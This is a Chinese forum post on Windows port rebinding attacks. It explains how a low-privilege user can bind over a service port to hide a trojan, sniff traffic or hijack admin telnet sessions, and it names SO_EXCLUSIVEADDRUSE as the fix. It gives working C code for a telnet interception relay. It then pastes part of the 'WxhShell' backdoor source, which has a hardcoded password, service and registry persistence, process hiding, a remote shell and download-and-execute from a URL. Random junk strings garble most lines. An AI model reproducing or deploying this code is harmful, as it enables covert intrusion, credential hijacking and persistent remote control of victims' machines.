社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16387阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ngn\nkf  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b$;HI7)/K  
qJ#L)  
  saddr.sin_family = AF_INET; 9vB9k@9  
sx<} tbG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H4P\hOK7r  
z:d Xc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }K#iCby4  
Vww@eK%5Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;+S2h-4  
plzE  
  这意味着什么?意味着可以进行如下的攻击: _JfJ%YXy  
l*~"5f03  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~+sne7 6 U  
U;x99Go:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }T?i%l  
Ej;Vr~Wi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ##SLwrg  
$xKg }cO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @C!JtgO%  
}`+O$0A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dL1~]Z y  
_Ym&UY.u#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >VpP/Qf  
^G ]KE8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M>`?m L  
Hj}g1"RA  
  #include MsN2A6|33  
  #include Z\ "Kd  
  #include .F{}~K]  
  #include    {Hktu|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a7QlU=\  
  int main() 9$B)hrJo  
  { -~QlHp&SY  
  WORD wVersionRequested; f 3nnXE"  
  DWORD ret; F?yh23&_4  
  WSADATA wsaData; e["Z!D_H  
  BOOL val; GE/IaLo  
  SOCKADDR_IN saddr; @c.11nfn`  
  SOCKADDR_IN scaddr; cP}5}+  
  int err; C=xo&I7  
  SOCKET s; 842Mydom  
  SOCKET sc; n?TO!5RZK  
  int caddsize; ;Xnk+  
  HANDLE mt; IqR[&T)lj  
  DWORD tid;   O3sla bE#  
  wVersionRequested = MAKEWORD( 2, 2 ); xEd#~`Jmr  
  err = WSAStartup( wVersionRequested, &wsaData ); mI{CM: :  
  if ( err != 0 ) { .#:@cP~v  
  printf("error!WSAStartup failed!\n"); Zq2H9^![y~  
  return -1; g7E`;&f  
  } /NPl2\o.  
  saddr.sin_family = AF_INET; >tE,8  
   E-*>f"<h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *g/I&'^  
1Ud t9$~T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YyX^lL_  
  saddr.sin_port = htons(23); f_z2#,g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [A.eVuV;+  
  { Rx_,J%0Fq  
  printf("error!socket failed!\n"); rm7*l<v6  
  return -1; 'tq\<y  
  } M8 ^ziZY  
  val = TRUE; )[^:]}%r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ThT.iD[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m%BMd  
  { 3RTB~K8:{  
  printf("error!setsockopt failed!\n"); #=)?s 8T  
  return -1; UC?2mdLt^  
  } DbPBgD>Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r&j+;JM5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 iG;d0>Sp  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9I^H)~S  
S%a}ip&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9v5.4a}  
  { x r+E  
  ret=GetLastError(); A7I8Z6&  
  printf("error!bind failed!\n"); 7@e[:>e  
  return -1; %oSfL;W7  
  } j3V"d3)  
  listen(s,2); R[ +]d|L  
  while(1) MOH,'@&6^  
  { do :RPZ!  
  caddsize = sizeof(scaddr); EP% M8  
  //接受连接请求 Bt`r6v;\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /ab K/8ZQ  
  if(sc!=INVALID_SOCKET) E`sapk  
  { e2VL/>y`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;Kq<',u~  
  if(mt==NULL) n=#[Mi $Y  
  { <iY 9cV|}3  
  printf("Thread Creat Failed!\n"); @/ovdf{  
  break; [3bwbfHhi  
  } ~k:>Xo[|O  
  } = -a?oH-  
  CloseHandle(mt); y+~Aw"J}  
  } +$pO  
  closesocket(s); O+3D 5*  
  WSACleanup(); (t"YoWA#m  
  return 0; PHB\)/  
  }   *< SU_dAh  
  DWORD WINAPI ClientThread(LPVOID lpParam) N]<~NG:6b  
  { F0o18k_"  
  SOCKET ss = (SOCKET)lpParam; %CfTqbB  
  SOCKET sc; _tg3%X]  
  unsigned char buf[4096]; OkO@BWL  
  SOCKADDR_IN saddr; 2[bR6 T89  
  long num; hF{mm(qyv  
  DWORD val; L 52z  
  DWORD ret; EzY scX.[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fh5^Gd~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   s*A|9u f5  
  saddr.sin_family = AF_INET; ;tIIEc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0$dY;,Q.  
  saddr.sin_port = htons(23); 'rcsK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E`Zh\u)  
  { 5E!|on  
  printf("error!socket failed!\n"); a6K$omu  
  return -1; &`9bGO  
  } C J}4V!;|  
  val = 100; =*O9)$b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 70 D Q/b  
  { j(2tbWg9-  
  ret = GetLastError(); S3[oA&  
  return -1; L:];[xa%  
  } hF?\K^tF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q0oDl8~  
  { ZB h@%A  
  ret = GetLastError(); +\]S<T*;  
  return -1; )7BNzj"~  
  } i\c^h;wX  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \?Oa}&k$F8  
  { { N8rZ[Oo  
  printf("error!socket connect failed!\n"); U S~JLJI  
  closesocket(sc); A UO0  
  closesocket(ss); U1@ P/  
  return -1; d`rDEa  
  } Vt 5XC~jK  
  while(1) !-Tmu  
  { dIe 6:s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cVt$#A)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pz z`4VS:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  6-E4)0\  
  num = recv(ss,buf,4096,0); sRI=TE]s  
  if(num>0) 4?6'~G$k  
  send(sc,buf,num,0); \}_7^)S;  
  else if(num==0) )I1V 2k$n  
  break; m+JGe5fR<  
  num = recv(sc,buf,4096,0); :y)&kJpleP  
  if(num>0) ?_`P;}4#  
  send(ss,buf,num,0); n ;fTx  
  else if(num==0) .M#>@~XR  
  break; &qj&WfrB,  
  } E!]rh,mYK  
  closesocket(ss); I5 7<0  
  closesocket(sc); K%~Kg9  
  return 0 ; {s^n|b}  
  } ny;)+v?mN\  
;jfXU_K  
y#SD-# I-  
========================================================== u K&_IE}  
t`/RcAwA  
下边附上一个代码,,WXhSHELL 5L'@WB|{4u  
fxCPGj  
========================================================== 5EZr"  
I2!&="7@  
#include "stdafx.h" pPqbD}p  
hB1iSm  
#include <stdio.h> 5nlyb,"^g  
#include <string.h> \y+F!;IxL  
#include <windows.h> BB}iBf I'  
#include <winsock2.h> s#CEhb  
#include <winsvc.h> ; yC`5  
#include <urlmon.h> aIyY%QT  
MhXm-<4  
#pragma comment (lib, "Ws2_32.lib") k-p7Y@`+a  
#pragma comment (lib, "urlmon.lib") VHkrPJ[  
5^R#e(mr  
#define MAX_USER   100 // 最大客户端连接数 +R jD\6bJb  
#define BUF_SOCK   200 // sock buffer 6O?Sr,  
#define KEY_BUFF   255 // 输入 buffer UEb'E;  
[}Yci:P_ +  
#define REBOOT     0   // 重启 j;c ^pLUP  
#define SHUTDOWN   1   // 关机 Q14;G<l-  
Y@xeyMzE  
#define DEF_PORT   5000 // 监听端口 )qQg n]  
1+[|pXT}  
#define REG_LEN     16   // 注册表键长度 3B]+]e~  
#define SVC_LEN     80   // NT服务名长度 BwA~*5TFu  
<i @jD  
// 从dll定义API LWR &(p.%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -|UX}t*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }E] &13>r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oEf^o*5(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |0Ug~jKU  
G\+MT(&5  
// wxhshell配置信息 [1X5r<(W5  
struct WSCFG { Jywz27j  
  int ws_port;         // 监听端口 WUQh[A41  
  char ws_passstr[REG_LEN]; // 口令 Fd=`9N9  
  int ws_autoins;       // 安装标记, 1=yes 0=no @g` ,'r  
  char ws_regname[REG_LEN]; // 注册表键名 N`:b vr  
  char ws_svcname[REG_LEN]; // 服务名 `9NnL.w!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bGLp0\0[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >.sN?5}y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?v*7!2;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {dH<Un(4Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z4tq&^ :c=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q/SC7R&"t  
Ol^EQLO  
}; 9O_N iu0  
QE6-(/  
// default Wxhshell configuration W- B[_  
struct WSCFG wscfg={DEF_PORT, Fi}rv[`XY[  
    "xuhuanlingzhe", yM~D.D3H  
    1, ^d=@RTyo/  
    "Wxhshell", Dy'l]vN$  
    "Wxhshell", qt;Tfuo  
            "WxhShell Service", V'4}9J  
    "Wrsky Windows CmdShell Service", s:.XF|e{  
    "Please Input Your Password: ", |1 6v4 R  
  1, pNsLoNZ3w  
  "http://www.wrsky.com/wxhshell.exe", (M?Q9\X  
  "Wxhshell.exe" {Z;GNMO:  
    }; jiD8|%}v  
,3[<C)'[  
// 消息定义模块 2fA9L _:0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `)P_X4e]`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $+N^ s^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S :|*wB  
char *msg_ws_ext="\n\rExit."; U6 R4UK  
char *msg_ws_end="\n\rQuit."; *XR~fs?/*W  
char *msg_ws_boot="\n\rReboot..."; y`dzo`f  
char *msg_ws_poff="\n\rShutdown..."; (NlEb'~+  
char *msg_ws_down="\n\rSave to "; [Y~s  
Z*B(L@H  
char *msg_ws_err="\n\rErr!"; (KU@hp-\  
char *msg_ws_ok="\n\rOK!"; 0u9h2/ma  
''YjeX  
char ExeFile[MAX_PATH]; CT`X~y10  
int nUser = 0; HK.J/Zr  
HANDLE handles[MAX_USER]; {NDe9V5  
int OsIsNt; h0pr"]sO;$  
o\gQYi   
SERVICE_STATUS       serviceStatus; i)DXb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {bEEQCweNJ  
_L.yt5_  
// 函数声明 v%Xe)D   
int Install(void); k,(_R=  
int Uninstall(void); (`xnA~BN  
int DownloadFile(char *sURL, SOCKET wsh); 1MSu ]) W  
int Boot(int flag); &d;$k  
void HideProc(void); aC` c^'5  
int GetOsVer(void); v Rs5-T  
int Wxhshell(SOCKET wsl); m$g^On  
void TalkWithClient(void *cs); TR20{8"  
int CmdShell(SOCKET sock); <ZdNPcT<s  
int StartFromService(void); }aIf IJ  
int StartWxhshell(LPSTR lpCmdLine); c,ek]dTj  
n-Y'LK40Os  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0&~u0B{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >c eU!=>  
-/?<@*n  
// 数据结构和表定义 '_Oprx  
SERVICE_TABLE_ENTRY DispatchTable[] = bq ]a8tSB  
{ {xH@8T$DX  
{wscfg.ws_svcname, NTServiceMain}, R MXj)~4.  
{NULL, NULL} b5R*]  
}; kMXl {  
s9>!^MzBK  
// 自我安装 S#dS5OX  
int Install(void) W@=ilW3RD  
{ U @|_5[nl  
  char svExeFile[MAX_PATH]; eW%jDsC  
  HKEY key; RdHR[Usm  
  strcpy(svExeFile,ExeFile); Tkf !Y?  
yL-L2  
// 如果是win9x系统,修改注册表设为自启动 i/z7a%$   
if(!OsIsNt) { UJ:B:hh''  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  j C?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RwWQ$Eb_s  
  RegCloseKey(key); lla96\R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f_8~b0`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jEIL(0_H  
  RegCloseKey(key); yW 3h_08  
  return 0; `314.a6S  
    } ;*p} ~#2  
  } J)o%83//  
} ,?+yu6eLb  
else { `RRORzXoS  
P9vROzXK  
// 如果是NT以上系统,安装为系统服务 [G*mQ@G9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;U&VPIX$  
if (schSCManager!=0) rv:O|wZ  
{ "5K: "m  
  SC_HANDLE schService = CreateService ^da-R;o]  
  ( (n\ cs$  
  schSCManager, %<t/xAge  
  wscfg.ws_svcname, vCM'nkXY  
  wscfg.ws_svcdisp, tP-c>|cz  
  SERVICE_ALL_ACCESS, =_Rd0,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e<K=Q$U.  
  SERVICE_AUTO_START, }{J8U2])k  
  SERVICE_ERROR_NORMAL, }: e9\r)  
  svExeFile, l<+k[@Vox  
  NULL, 3Daq5(fLP  
  NULL, xmDwoLU  
  NULL, m`~ Qr~  
  NULL, &0ra a  
  NULL FmPF7  
  ); H'2 =yhtVh  
  if (schService!=0) ^E^:=Q?'_  
  { $ }53f'QjW  
  CloseServiceHandle(schService); al/~  
  CloseServiceHandle(schSCManager); c@`P{ 6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wj&s5;2a  
  strcat(svExeFile,wscfg.ws_svcname); &n|gPp77$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *O~D lf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G`jhzG  
  RegCloseKey(key); i{2KMa{K  
  return 0; P;34Rd  
    } YQ/ *|  
  } z5I<,[`  
  CloseServiceHandle(schSCManager); _PF><ODX2  
} q2y:b qLWl  
} @p;4g_F  
Dts:$PlCk  
return 1; uw]Jm"=w  
} <S qbj;  
b~}}{fm&f  
// 自我卸载 s6I]H  
int Uninstall(void) Ts\7)6|F  
{ 6C:Lq%}  
  HKEY key; >qCT#TY  
6x0>E^~  
if(!OsIsNt) { hjE9[{K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9pXFC9  
  RegDeleteValue(key,wscfg.ws_regname); Rjf |  
  RegCloseKey(key); ?k#% AM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qF ?S[Z;  
  RegDeleteValue(key,wscfg.ws_regname); u8*0r{kOH  
  RegCloseKey(key); m N{$z<r  
  return 0; dn Xc- <  
  } DQSv'!KFO  
} (&S v $L@  
} I ; _.tG  
else { X^ovP'c2  
VaB7)r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0pQ>V)  
if (schSCManager!=0) ,Gfnf%H\8>  
{ p: o*=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;(V=disU/  
  if (schService!=0) m#Cp.|>kP4  
  { *;Vq0a!  
  if(DeleteService(schService)!=0) { m+gVGK  
  CloseServiceHandle(schService); cMj<k8.{  
  CloseServiceHandle(schSCManager); x\*5A,w{c]  
  return 0; O1 z>A  
  } =c|Bu^(Ctw  
  CloseServiceHandle(schService); =xgW$c/yB  
  } {PU[MHZF  
  CloseServiceHandle(schSCManager); ]n{2cPx5d  
} xsfq[}eH<  
} z, OMR`W  
zVIzrz0  
return 1; 7 ir T6O<.  
} }5~ ;jN=k  
| c;S'36  
// 从指定url下载文件 L2 I/h`n"  
int DownloadFile(char *sURL, SOCKET wsh) 7Qo*u;fr  
{ ]SQ_*$`  
  HRESULT hr; P5N"7/PfW  
char seps[]= "/"; DT*/2TH*l  
char *token; * 08LW|:,  
char *file; /F\7_  
char myURL[MAX_PATH]; p'H5yg3h  
char myFILE[MAX_PATH]; 8w{V[@QLn  
xe5>)\18-  
strcpy(myURL,sURL); rJAY7/u  
  token=strtok(myURL,seps); "PX~Yc  
  while(token!=NULL) |PWLFiT(>  
  { XLtuck  
    file=token; sx22|j`)V  
  token=strtok(NULL,seps); 6)W9/V-W  
  } o*<(,I%  
{vaq,2_w  
GetCurrentDirectory(MAX_PATH,myFILE); X3nwA#If1  
strcat(myFILE, "\\"); U<*dDE~z  
strcat(myFILE, file); *@O;IiSE  
  send(wsh,myFILE,strlen(myFILE),0); 0Vg8o @  
send(wsh,"...",3,0); $lO\eQGxB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =%a.C(0&G  
  if(hr==S_OK) "$WZd  
return 0; G",+jR]  
else D,NjDIG8  
return 1; rP*?a~<  
5vS'Qhc  
} lY6U$*9c  
j*CnnM#n  
// 系统电源模块 #oHHKl=M  
int Boot(int flag) UOa{J|k>h  
{ Q} / :  
  HANDLE hToken; v'|Dj^3[  
  TOKEN_PRIVILEGES tkp; }+SnY8A=KZ  
sUg7  
  if(OsIsNt) { 2hquE_1S[w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @.%ll n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WhkE&7Gk  
    tkp.PrivilegeCount = 1; +jHL==W&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U7{, *  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >:Rc%ILym  
if(flag==REBOOT) { b+w|3bQa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5Eq_L  
  return 0; \wTW hr0  
} AR&u9Y)I  
else { ^.k}YSWut  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Rrsz{a  
  return 0; UA{A G;  
} &Uzg&eB  
  } A H`6)v<f  
  else { /H}83 C  
if(flag==REBOOT) { ).k=[@@V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p`Ax)L\f  
  return 0; `2GHB@S"k  
} 2 &R-z G  
else { ;hRo} +\l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [IiwpC  
  return 0;  ~UXW  
} %h3CQk  
} !sUo+Y  
S_C+1e  
return 1; < =sO@0(<  
} K4y4!zz  
`^RpT]S  
// win9x进程隐藏模块 D(yRI  
void HideProc(void) M,NYF`;a  
{ xqIt?v2c  
 $ l Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a:1-n %&F  
  if ( hKernel != NULL ) j:rGFd  
  { $ -;,O8yR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5r@x$*>e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ij/ |~-!  
    FreeLibrary(hKernel); @ 3FTf"#Y  
  } ![ Fb~Egc  
7n {uxE#U)  
return; 0z.Hl1  
} i{xgygp6f  
OSxr@  
// 获取操作系统版本 W$  M4#  
int GetOsVer(void) YS%HZFY, "  
{ _r&`[@m  
  OSVERSIONINFO winfo; v 6Tz7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !\2Xr{f  
  GetVersionEx(&winfo); 8h}o5B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7@5}WNr  
  return 1; 9tWu>keu  
  else iq=<LOx  
  return 0; L3,p8-d9Z  
} Beq zw0  
Z_Hc":4i  
// 客户端句柄模块 Y0 Ta&TYZ0  
int Wxhshell(SOCKET wsl) *e!0ZB3J  
{ ^ola5wD  
  SOCKET wsh; k#&d`?X  
  struct sockaddr_in client; wm !Y5  
  DWORD myID; BH0].-)[y!  
>`SIB; &>j  
  while(nUser<MAX_USER) "I}3*s9Q-  
{ {+!m]-s  
  int nSize=sizeof(client); *CMe:a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~+7q.XL$$K  
  if(wsh==INVALID_SOCKET) return 1; .9PPWY;H  
RdRF~~R%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q0&g.=;  
if(handles[nUser]==0) +g>)Bur  
  closesocket(wsh); Rra<MOR  
else UW_fn  
  nUser++; ~A(fn:d  
  } }$?x wcPU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z~[c65Nlu  
p<: bP w  
  return 0; QJ\ o"c  
} mbK$_HvU  
k|'{$/ n  
// 关闭 socket ~*@ UQ9*p#  
void CloseIt(SOCKET wsh) &;DK^ta*P  
{ $i;%n1VBg  
closesocket(wsh); 1 \:5ow&a  
nUser--; R<I)}<g(A3  
ExitThread(0); bk44 qL;8  
} JmjqA Dex  
Ko|nF-r_  
// 客户端请求句柄 8GgZAu'X  
void TalkWithClient(void *cs) EIPNR:6t  
{ j}ywdP`a  
tN&4t xB  
  SOCKET wsh=(SOCKET)cs; pX `BDYg.  
  char pwd[SVC_LEN]; q'fZA;  
  char cmd[KEY_BUFF]; b*&AIiT  
char chr[1]; Z9,-FO{#3-  
int i,j; F[R Q6 PW  
Nk*d=vj  
  while (nUser < MAX_USER) { Q}C)az  
Ii FeO  
if(wscfg.ws_passstr) { PUZH[-:c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NitsUg@<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3|x*lmit  
  //ZeroMemory(pwd,KEY_BUFF); :[YHJaK  
      i=0; LX2rg\a+%  
  while(i<SVC_LEN) { P|%uB'|H  
<[Oe.0SGu  
  // 设置超时 Y@B0.5U2  
  fd_set FdRead; R~ n[g  
  struct timeval TimeOut; P'MfuTtT&  
  FD_ZERO(&FdRead); )_BQ@5NK  
  FD_SET(wsh,&FdRead); (?4m0Sn>#h  
  TimeOut.tv_sec=8; cBZ$$$v\#  
  TimeOut.tv_usec=0; pY]T3 2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9K,PT.c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kCRfO}wt3  
.^ djt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &8$Gy u  
  pwd=chr[0]; A{X:p3$eN  
  if(chr[0]==0xd || chr[0]==0xa) { blyU5 3g  
  pwd=0; 0P i+ (X  
  break; [}:;B$,  
  } pZHx  
  i++; Vi1l^ Za  
    } ?i'N 9 /(  
F#NuZ'U  
  // 如果是非法用户,关闭 socket t$~CLq5ad  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 89n\$7Ff9  
} ,Y9bXC8+dU  
s R/z)U_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FJ-X~^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +;,65j+n   
AwnQ5-IR\  
while(1) { `st3iTLZY  
%[S-"k  
  ZeroMemory(cmd,KEY_BUFF); t?1 b(oJ  
u-</G-y  
      // 自动支持客户端 telnet标准   wH]5VltUT1  
  j=0; Z?JR6;@W  
  while(j<KEY_BUFF) { "xWrYq'"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !U::kr=t  
  cmd[j]=chr[0]; y[`>,?ns5  
  if(chr[0]==0xa || chr[0]==0xd) {  N$ oQK(  
  cmd[j]=0; _\&v A5-  
  break; Mbm'cM&}  
  } !#&`1cYX  
  j++; xu%_Zt2/?j  
    } J(>T&G;  
pSa pF)1>  
  // 下载文件 A4{14Y;?  
  if(strstr(cmd,"http://")) { ) KvGJo)("  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d!57`bVOd  
  if(DownloadFile(cmd,wsh)) &ci;0P#Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q Uy7Q$W  
  else i8w/a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~cv322N   
  } ?i{/iH~Sf  
  else { CH9Psr78  
x3AAn,m8  
    switch(cmd[0]) { CKE):kHu  
  MD98N{+[|  
  // 帮助 E4N/or  
  case '?': { DbWaF5\yD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1VKu3  
    break; "%(SLQOyy  
  } 9QP-~V{$  
  // 安装 :_8Nf1B+T  
  case 'i': { ~`97?6*Ra  
    if(Install()) -kk0zg &|i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Talmc|h  
    else "LNLM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =O%Hf bx  
    break; G!)Q"+  
    } ctOBV  
  // 卸载 F,8?du]  
  case 'r': { rSa=NpFxLu  
    if(Uninstall()) FW"n+7T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nn#;Kjul.  
    else <EKTFHJ!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U3**x5F_  
    break; v? Zo5uVoq  
    } DuQW?9^232  
  // 显示 wxhshell 所在路径 :y.~IQN  
  case 'p': { Y 'y yrn}  
    char svExeFile[MAX_PATH]; 8|L;y[v  
    strcpy(svExeFile,"\n\r"); 7!F -.kG  
      strcat(svExeFile,ExeFile); KwHlpW*  
        send(wsh,svExeFile,strlen(svExeFile),0); XvSng"f.  
    break; icK$W2<8mg  
    } =4[ U<opP  
  // 重启 Hk f<.U  
  case 'b': { 3y tlD'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Na>w~  
    if(Boot(REBOOT)) !aB~G}'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B ({g|}|G+  
